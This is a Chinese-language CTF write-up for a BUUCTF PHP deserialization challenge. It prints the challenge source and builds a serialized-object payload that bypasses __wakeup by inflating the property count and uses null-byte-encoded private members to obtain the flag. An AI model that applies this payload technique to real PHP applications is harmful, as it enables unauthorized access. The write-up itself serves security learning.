buuctf-web-[极客大挑战 2019]PHP1_buuctf php1

打开环境，发现提示有备份文件，用dirsearch扫一遍，获得备份文件

 打开压缩包

flag.php内的flag是假的 

 

 index.php文件内容发现传参地址，对select进行传参

class.php对内容进行限制

<?php
include 'flag.php';
 
 
error_reporting(0);
 
 
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
 
    function __wakeup(){
        $this->username = 'guest';
    }
 
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
 
            
        }
    }
}
?>

观察代码，发现需要username=admin，password=100才能获取flag

进行反序列化

<?php
 
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
 
?>

运行 

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

payload结构

?select=O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

但是反序列化时会先运行__wakeup函数，对username赋值guest，需要绕过

在反序列化时，当前属性个数大于实际属性个数时，就会跳过__wakeup()，去执行__destruct

将name后面的2改为3即可

构造payload 

?select=O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

url识别不了"，将"改为%22

O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

因为成员（属性）是private，所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

最终payload为

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

 输入获得flag

flag{32f836a0-b106-4f56-b5f8-647b87816c02}